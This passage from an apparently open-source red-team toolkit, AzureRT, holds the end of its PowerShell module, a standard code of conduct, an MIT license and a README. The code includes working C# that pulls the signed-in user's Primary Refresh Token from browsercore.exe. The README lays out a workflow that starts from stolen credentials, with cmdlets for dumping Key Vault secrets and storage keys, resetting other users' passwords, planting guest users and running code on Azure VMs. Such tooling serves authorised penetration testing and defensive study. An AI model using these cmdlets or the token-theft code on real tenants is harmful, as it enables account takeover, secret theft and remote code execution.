failed!" -ForegroundColor Red 4544 | Throw 4545 | Return 4546 | } 4547 | finally { 4548 | $ErrorActionPreference = $EA 4549 | } 4550 | } 4551 | 4552 | Function Get-ARTTenantID { 4553 | <# 4554 | .SYNOPSIS 4555 | Retrieves Current user's Tenant ID or Tenant ID based on Domain name supplied. 4556 | 4557 | .DESCRIPTION 4558 | Retrieves Current user's Tenant ID or Tenant ID based on Domain name supplied. 4559 | 4560 | .EXAMPLE 4561 | PS C:\> Get-ARTTenantID 4562 | #> 4563 | [CmdletBinding()] 4564 | Param( 4565 | [string] 4566 | $DomainName = $null 4567 | ) 4568 | 4569 | $TenantId = $null 4570 | 4571 | if($DomainName -eq $null -or $DomainName.Length -eq 0) { 4572 | try { 4573 | $TenantId = (Get-AzContext).Tenant.Id 4574 | Write-Verbose "Tenant ID acquired via Az module: $TenantId" 4575 | 4576 | } catch { 4577 | try { 4578 | $TenantId = (Get-AzureADCurrentSessionInfo).Tenant.Id 4579 | Write-Verbose "Tenant ID acquired via AzureAD module: $TenantId" 4580 | } 4581 | catch{ 4582 | try { 4583 | $TenantId = (dsregcmd /status | sls -Pattern 'TenantId\s+:\s+(.+)').Matches.Groups[1].Value 4584 | Write-Verbose "Tenant ID acquired via dsregcmd parsing: $TenantId" 4585 | } 4586 | catch { 4587 | Write-Error "Could not acquire Tenant ID!" 4588 | } 4589 | } 4590 | } 4591 | } 4592 | else { 4593 | Try { 4594 | $openIDConfig = Invoke-RestMethod -UseBasicParsing "https://login.microsoftonline.com/$DomainName/.well-known/openid-configuration" 4595 | } 4596 | catch { 4597 | Write-Error "Could not acquire Tenant ID!" 4598 | return $null 4599 | } 4600 | 4601 | $TenantId = $openIDConfig.authorization_endpoint.Split("/")[3] 4602 | } 4603 | 4604 | Return $TenantId 4605 | } 4606 | 4607 | 4608 | Function Get-ARTPRTNonce { 4609 | <# 4610 | .SYNOPSIS 4611 | Retrieves Current user's PRT (Primary Refresh Token) nonce value 4612 | 4613 | .DESCRIPTION 4614 | Retrieves Current user's PRT (Primary Refresh Token) nonce value 4615 | 4616 | .EXAMPLE 4617 | PS C:\> Get-ARTPRTNonce 4618 | #> 4619 | [CmdletBinding()] 4620 | Param( 4621 | [Parameter(Mandatory=$False)] 4622 | [String] 4623 | $TenantId 4624 | ) 4625 | 4626 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 4627 | $TenantId = Get-ARTTenantID 4628 | } 4629 | 4630 | Write-Verbose "Using Tenant ID: $TenantId" 4631 | 4632 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 4633 | Write-Error "Could not obtain Tenant ID! Specify one in -TenantId parameter" 4634 | Return 4635 | } 4636 | 4637 | $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" 4638 | $Params = @{ 4639 | "URI" = $URL 4640 | "Method" = "POST" 4641 | } 4642 | 4643 | $Body = @{ 4644 | "grant_type" = "srv_challenge" 4645 | } 4646 | 4647 | $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body 4648 | Return $Result.Nonce 4649 | } 4650 | 4651 | 4652 | Function Get-ARTPRTToken { 4653 | <# 4654 | .SYNOPSIS 4655 | Retrieves Current user's PRT via Dirk-Jan Mollema's ROADtoken 4656 | 4657 | .DESCRIPTION 4658 | Retrieves Current user's PRT (Primary Refresh Token) value using Dirk-Jan Mollema's ROADtoken 4659 | 4660 | .EXAMPLE 4661 | PS C:\> Get-ARTPRTToken 4662 | #> 4663 | 4664 | $code = @' 4665 | using System; 4666 | using System.Collections.Generic; 4667 | using System.Diagnostics; 4668 | using System.IO; 4669 | using System.Linq; 4670 | using System.Text; 4671 | using System.Threading.Tasks; 4672 | 4673 | namespace ROADToken 4674 | { 4675 | public class Program12 4676 | { 4677 | public static string GetToken(string nonce) 4678 | { 4679 | string[] filelocs = { 4680 | @"C:\Program Files\Windows Security\BrowserCore\browsercore.exe", 4681 | @"C:\Windows\BrowserCore\browsercore.exe" 4682 | }; 4683 | 4684 | string targetFile = null; 4685 | foreach (string file in filelocs) 4686 | { 4687 | if (File.Exists(file)) 4688 | { 4689 | targetFile = file; 4690 | break; 4691 | } 4692 | } 4693 | 4694 | if (targetFile == null) 4695 | { 4696 | Console.WriteLine("[!] Could not find browsercore.exe in one of the predefined locations"); 4697 | return ""; 4698 | } 4699 | 4700 | using (Process myProcess = new Process()) 4701 | { 4702 | myProcess.StartInfo.FileName = targetFile; 4703 | myProcess.StartInfo.UseShellExecute = false; 4704 | myProcess.StartInfo.RedirectStandardInput = true; 4705 | myProcess.StartInfo.RedirectStandardOutput = true; 4706 | string stuff; 4707 | 4708 | stuff = "{" + 4709 | "\"method\":\"GetCookies\"," + 4710 | "\"uri\":\"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=" + nonce + "\"," + 4711 | "\"sender\":\"https://login.microsoftonline.com\"" + 4712 | "}"; 4713 | 4714 | myProcess.Start(); 4715 | 4716 | StreamWriter myStreamWriter = myProcess.StandardInput; 4717 | var myInt = stuff.Length; 4718 | byte[] bytes = BitConverter.GetBytes(myInt); 4719 | myStreamWriter.BaseStream.Write(bytes, 0 , 4); 4720 | myStreamWriter.Write(stuff); 4721 | myStreamWriter.Close(); 4722 | 4723 | string lines = ""; 4724 | while (!myProcess.StandardOutput.EndOfStream) 4725 | { 4726 | string line = myProcess.StandardOutput.ReadLine(); 4727 | lines += line; 4728 | } 4729 | 4730 | var pos = lines.IndexOf("{"); 4731 | return lines.Substring(pos); 4732 | } 4733 | } 4734 | } 4735 | } 4736 | '@ 4737 | 4738 | Add-Type -TypeDefinition $code -Language CSharp 4739 | 4740 | $nonce = Get-ARTPRTNonce 4741 | $out = [ROADToken.Program12]::GetToken($nonce) 4742 | 4743 | try { 4744 | Return ($out | ConvertFrom-Json).response.data 4745 | } 4746 | catch {} 4747 | } 4748 | 4749 | 4750 | Function Import-ARTModules { 4751 | <# 4752 | .SYNOPSIS 4753 | Installs & Imports required & optional Powershell modules for Azure Red Team activities 4754 | 4755 | .DESCRIPTION 4756 | Installs & Imports required & optional Powershell modules for Azure Red Team activities 4757 | 4758 | .EXAMPLE 4759 | PS C:\> Import-ARTModules 4760 | #> 4761 | 4762 | $Modules = @( 4763 | "Az" 4764 | "AzureAD" 4765 | "Microsoft.Graph" 4766 | "AzureADPreview" 4767 | "AADInternals" 4768 | ) 4769 | 4770 | foreach($mod in $Modules) { 4771 | Load-Module $mod 4772 | } 4773 | 4774 | Write-Host "Done." 4775 | } 4776 | 4777 | 4778 | # 4779 | # Source: 4780 | # https://stackoverflow.com/a/51692402 4781 | # 4782 | function Load-Module ($m) { 4783 | # If module is imported say that and do nothing 4784 | if (Get-Module | Where-Object {$_.Name -eq $m}) { 4785 | write-host "Module $m is already imported." 4786 | } 4787 | else { 4788 | 4789 | # If module is not imported, but available on disk then import 4790 | if (Get-Module -ListAvailable | Where-Object {$_.Name -eq $m}) { 4791 | Write-Host "Importing module: $m ..." 4792 | Import-Module $m -Verbose 4793 | } 4794 | else { 4795 | 4796 | # If module is not imported, not available on disk, but is in online gallery then install and import 4797 | if (Find-Module -Name $m | Where-Object {$_.Name -eq $m}) { 4798 | Write-Host "Installing & Importing module: $m ..." 4799 | Install-Module -Name $m -Force -Verbose -Scope CurrentUser 4800 | Import-Module $m -Verbose 4801 | } 4802 | else { 4803 | 4804 | # If the module is not imported, not available and not in the online gallery then abort 4805 | write-host "Module $m not imported, not available and not in an online gallery, exiting." 4806 | } 4807 | } 4808 | } 4809 | } 4810 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com). 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AzureRT 2 | 3 | Powershell module implementing various cmdlets to interact with Azure and Azure AD from an offensive perspective. 4 | 5 | Helpful utilities dealing with access token based authentication, switching from `Az` to `AzureAD` and `az cli` interfaces, easy to use pre-made attacks such as Runbook-based command execution and more. 6 | 7 | --- 8 | 9 | ## The Most Valuable Cmdlets 10 | 11 | This toolkit brings lots of various cmdlets. This section highlights the most important & useful ones. 12 | 13 | Typical Red Team / audit workflow starting with stolen credentials can be summarised as follows: 14 | 15 | ``` 16 | Credentials Stolen -> Authenticate to Azure/AzureAD -> find whether they're valid -> find out what you can do with them 17 | ``` 18 | 19 | The below cmdlets are precisely suited to help you follow this sequence: 20 | 21 | 1. **`Connect-ART`** - Offers various means to authenticate to Azure - credentials, PSCredential, token 22 | 23 | 2. **`Connect-ARTAD`** - Offers various means to authenticate to Azure AD - credentials, PSCredential, token 24 | 25 | 3. **`Get-ARTWhoami`** - When you authenticate - run this to check _whoami_ and validate your access 26 | 27 | 4. **`Get-ARTAccess`** - Then, when you know you have access - find out what you can do & what's possible by performing Azure situational awareness 28 | 29 | 5. **`Get-ARTADAccess`** - Similarly you can find out what you can do scoped to Azure AD. 30 | 31 | 32 | --- 33 | 34 | ## Use Cases 35 | 36 | Cmdlets implemented in this module came helpful in following use & attack scenarios: 37 | 38 | - Juggling with access tokens from `Az` to `AzureAD` and back again. 39 | - Nicely print authentication context (aka _whoami_) in `Az`, `AzureAD`, `Microsoft.Graph` and `az cli` at the same time 40 | - Display available permissions granted to the user on a target Azure VM 41 | - Display accessible Azure Resources along with permissions we have against them 42 | - Easily read all accessible _Azure Key Vault_ secrets 43 | - Authenticate as a Service Principal to leverage _Privileged Role Administrator_ role assigned to that Service Principal 44 | - Execute attack against Azure Automation via malicious Runbook 45 | 46 | --- 47 | 48 | ## Installation 49 | 50 | This module depends on Powershell `Az` and `AzureAD` modules pre-installed. `Microsoft.Graph` and `az cli` are optional but nonetheless really useful. 51 | Before one starts crafting around Azure, following commands may be used to prepare one's offensive environment: 52 | 53 | ``` 54 | Install-Module Az -Force -Confirm -AllowClobber -Scope CurrentUser 55 | Install-Module AzureAD -Force -Confirm -AllowClobber -Scope CurrentUser 56 | Install-Module Microsoft.Graph -Force -Confirm -AllowClobber -Scope CurrentUser # OPTIONAL 57 | Install-Module MSOnline -Force -Confirm -AllowClobber -Scope CurrentUser # OPTIONAL 58 | Install-Module AzureADPreview -Force -Confirm -AllowClobber -Scope CurrentUser # OPTIONAL 59 | Install-Module AADInternals -Force -Confirm -AllowClobber -Scope CurrentUser # OPTIONAL 60 | 61 | Import-Module Az 62 | Import-Module AzureAD 63 | ``` 64 | 65 | Even though only first two modules are required by `AzureRT`, its good to have others pre-installed too. 66 | 67 | Then to load this module, simply type: 68 | 69 | ``` 70 | PS> . .\AzureRT.ps1 71 | ``` 72 | 73 | And you're good to go. 74 | 75 | Or you can let **AzureRT** to install and import all the dependencies: 76 | 77 | ``` 78 | PS> . .\AzureRT.ps1 79 | PS> Import-ARTModules 80 | ``` 81 | 82 | 83 | --- 84 | 85 | ## Batteries Included 86 | 87 | The module will be gradually receiving next tools and utilities, naturally categorised onto subsequent kill chain phases. 88 | 89 | Every cmdlet has a nice help message detailing parameters, description and example usage: 90 | 91 | ``` 92 | PS C:\> Get-Help Connect-ART 93 | ``` 94 | 95 | **Currently, following utilities are included:** 96 | 97 | 98 | ### Authentication & Token mechanics 99 | 100 | - **`Get-ARTWhoami`** - Displays _and validates_ our authentication context on `Azure`, `AzureAD`, `Microsoft.Graph` and on `AZ CLI` interfaces. 101 | 102 | - **`Connect-ART`** - Invokes `Connect-AzAccount` to authenticate current session to the Azure Portal via provided Access Token or credentials. Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 103 | 104 | - **`Connect-ARTAD`** - Invokes `Connect-AzureAD` (and optionally `Connect-MgGraph`) to authenticate current session to the Azure Active Directory via provided Access Token or credentials. Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 105 | 106 | - **`Connect-ARTADServicePrincipal`** - Invokes `Connect-AzAccount` to authenticate current session to the Azure Portal via provided Access Token or credentials. Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. Then it creates self-signed PFX certificate and associates it with Service Principal for authentication. Afterwards, authenticates as that Service Principal to AzureAD and deassociates that certificate to cleanup 107 | 108 | - **`Get-ARTAccessTokenAzCli`** - Acquires access token from az cli, via `az account get-access-token` 109 | 110 | - **`Get-ARTAccessTokenAz`** - Acquires access token from Az module, via `Get-AzAccessToken` . 111 | 112 | - **`Get-ARTAccessTokenAzureAD`** - Gets an access token from Azure Active Directory. Authored by [Simon Wahlin, @SimonWahlin ](https://blog.simonw.se/getting-an-access-token-for-azuread-using-powershell-and-device-login-flow/) 113 | 114 | - **`Get-ARTAccessTokenAzureADCached`** - Attempts to retrieve locally cached AzureAD access token (https://graph.microsoft.com), stored after `Connect-AzureAD` occurred. 115 | 116 | - **`Remove-ARTServicePrincipalKey`** - Performs cleanup actions after running `Connect-ARTADServicePrincipal` 117 | 118 | 119 | ### Recon & Situational Awareness 120 | 121 | - **`Get-ARTAccess`** - Performs Azure Situational Awareness. 122 | 123 | - **`Get-ARTADAccess`** - Performs Azure AD Situational Awareness. 124 | 125 | - **`Get-ARTTenants`** - List Tenants available for the currently authenticated user (or the one based on supplied Access Token) 126 | 127 | - **`Get-ARTDangerousPermissions`** - Analyzes accessible Azure Resources and associated permissions user has on them to find all the Dangerous ones that could be abused by an attacker. 128 | 129 | - **`Get-ARTResource`** - Authenticates to the https://management.azure.com using provided Access Token and pulls accessible resources and permissions that token Owner have against them. 130 | 131 | - **`Get-ARTRoleAssignment`** - Displays a bit easier to read representation of assigned Azure RBAC roles to the currently used Principal. 132 | 133 | - **`Get-ARTADRoleAssignment`** - Displays Azure AD Role assignments on a current user or on all Azure AD users. 134 | 135 | - **`Get-ARTADScopedRoleAssignment`** - Displays Azure AD Scoped Role assignments on a current user or on all Azure AD users, associated with Administrative Units 136 | 137 | - **`Get-ARTRolePermissions`** - Displays all granted permissions on a specified Azure RBAC role. 138 | 139 | - **`Get-ARTADRolePermissions`** - Displays all granted permissions on a specified Azure AD role. 140 | 141 | - **`Get-ARTADDynamicGroups`** - Displays Azure AD Dynamic Groups along with their user Membership Rules, members count and current user membership status 142 | 143 | - **`Get-ARTApplication`** - Lists Azure AD Enterprise Applications that current user is owner of (or all existing when -All used) along with their owners and Service Principals 144 | 145 | - **`Get-ARTApplicationProxy`** - Lists Azure AD Enterprise Applications that have Application Proxy setup. 146 | 147 | - **`Get-ARTApplicationProxyPrincipals`** - Displays users and groups assigned to the specified Application Proxy application. 148 | 149 | - **`Get-ARTStorageAccountKeys`** - Displays all the available Storage Account keys. 150 | 151 | - **`Get-ARTKeyVaultSecrets`** - Lists all available Azure Key Vault secrets. This cmdlet assumes that requesting user connected to the Azure AD with KeyVaultAccessToken (scoped to https://vault.azure.net) and has "Key Vault Secrets User" role assigned (or equivalent). 152 | 153 | - **`Get-ARTAutomationCredentials`** - Lists all available Azure Automation Account credentials and attempts to pull their values (unable to pull values!). 154 | 155 | - **`Get-ARTAutomationRunbookCode`** - Invokes REST API method to pull specified Runbook's source code. 156 | 157 | - **`Get-ARTAzVMPublicIP`** - Retrieves Azure VM Public IP address 158 | 159 | - **`Get-ARTResourceGroupDeploymentTemplate`** - Displays Resource Group Deployment Template JSON based on input parameters, or pulls all of them at once. 160 | 161 | - **`Get-ARTAzVMUserDataFromInside`** - Retrieves Azure VM User Data from inside of a VM by reaching to Instance Metadata endpoint. 162 | 163 | 164 | ### Privilege Escalation 165 | 166 | - **`Add-ARTADGuestUser`** - Sends Azure AD Guest user invitation e-mail, allowing to expand access to AAD tenant for the external attacker & returns Invite Redeem URL used to easily accept the invitation. 167 | 168 | - **`Set-ARTADUserPassword`** - Abuses `Authentication Administrator` Role Assignment to reset other non-admin users password. 169 | 170 | - **`Add-ARTUserToGroup`** - Adds a specified Azure AD User to the specified Azure AD Group. 171 | 172 | - **`Add-ARTUserToRole`** - Adds a specified Azure AD User to the specified Azure AD Role. 173 | 174 | - **`Add-ARTADAppSecret`** - Add client secret to the Azure AD Applications. Authored by [Nikhil Mittal, @nikhil_mitt](https://twitter.com/nikhil_mitt) 175 | 176 | 177 | ### Lateral Movement 178 | 179 | - **`Invoke-ARTAutomationRunbook`** - Creates an Automation Runbook under specified Automation Account and against selected Worker Group. That Runbook will contain Powershell commands to be executed on all the affected Azure VMs. 180 | 181 | - **`Invoke-ARTRunCommand`** - Abuses `virtualMachines/runCommand` permission against a specified Azure VM to run custom Powershell command. 182 | 183 | - **`Update-ARTAzVMUserData`** - Modifies Azure VM User Data script through a direct API invocation. 184 | 185 | - **`Invoke-ARTCustomScriptExtension`** - Creates new or modifies Azure VM Custom Script Extension leading to remote code execution. 186 | 187 | 188 | ### Misc 189 | 190 | - **`Get-ARTTenantID`** - Retrieves Current user's Tenant ID or Tenant ID based on Domain name supplied. 191 | 192 | - **`Get-ARTPRTToken`** - Retrieves Current user's PRT (Primary Refresh Token) value using [Dirk-Jan Mollema's ROADtoken](https://github.com/dirkjanm/ROADtoken) 193 | 194 | - **`Get-ARTPRTNonce`** - Retrieves Current user's PRT (Primary Refresh Token) nonce value 195 | 196 | - **`Get-ARTUserId`** - Acquires current user or user specified in parameter ObjectId via `Az` module 197 | 198 | - **`Get-ARTSubscriptionId`** - Helper that collects current Subscription ID. 199 | 200 | - **`Parse-JWTtokenRT`** - Parses input JWT token and prints it out nicely. 201 | 202 | - **`Invoke-ARTGETRequest`** - Takes Access Token and invokes GET REST method API request against a specified URI. It also verifies whether provided token has required audience set. 203 | 204 | - **`Import-ARTModules`** - Installs & Imports required & optional Powershell modules for Azure Red Team activities 205 | 206 | 207 | --- 208 | 209 | ### ☕ Show Support ☕ 210 | 211 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, 212 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 213 | 214 | --- 215 | 216 | ``` 217 | Mariusz Banach / mgeeky, (@mariuszbit) 218 | 219 | ``` 220 | --------------------------------------------------------------------------------